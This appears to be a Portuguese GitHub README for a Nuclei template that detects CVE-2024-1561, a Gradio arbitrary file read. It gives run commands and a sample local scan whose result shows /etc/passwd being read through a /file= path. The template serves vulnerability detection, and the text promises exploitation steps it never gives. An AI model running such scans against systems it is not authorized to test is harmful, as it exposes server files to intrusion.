diablohtb/nuclei-template-cve-2024-1561Nuclei Templates
Este template Nuclei foi desenvolvido para detectar a vulnerabilidade CVE-2024-1561 do Gradio em aplicações web. Gradio é uma biblioteca Python para criar componentes de UI personalizáveis em torno de modelos de machine learning. Esta vulnerabilidade pode permitir que atacantes leiam arquivos do servidor.
Clone este repositório para sua máquina local e execute usando a flag -t:
git clone https://github.com/DiabloHTB/Nuclei-Template-CVE-2024-1561
cd Nuclei-Template-CVE-2024-1561
nuclei -target <URL> -t CVE-2024-1561.yaml
Exemplo:
┌──(gradio-env)─(diablo㉿diablo)-[~/gradio]
└─$ nuclei -target http://127.0.0.1:7860 -t CVE-2024-1561.yaml
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.2.6
projectdiscovery.io
[INF] Current nuclei version: v3.2.6 (outdated)
[INF] Current nuclei-templates version: v9.8.6 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 65
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[CVE-2024-1561] [http] [high] http://127.0.0.1:7860/file=/tmp/gradio/83bbb89b677a9cca3d271a392fa1aa2a10853c32/passwd
O template testa a presença de /etc/passwd com correspondência para o usuário root.
Para explorar totalmente o alvo, verifique o seguinte:
Aviso legal Este template é fornecido apenas para fins educacionais e informativos. O uso deste template para atacar alvos sem consentimento mútuo prévio é ilegal. É de responsabilidade do usuário final obedecer a todas as leis locais, estaduais e federais aplicáveis. Os desenvolvedores não assumem responsabilidade e não são responsáveis por qualquer uso indevido ou dano causado por este template.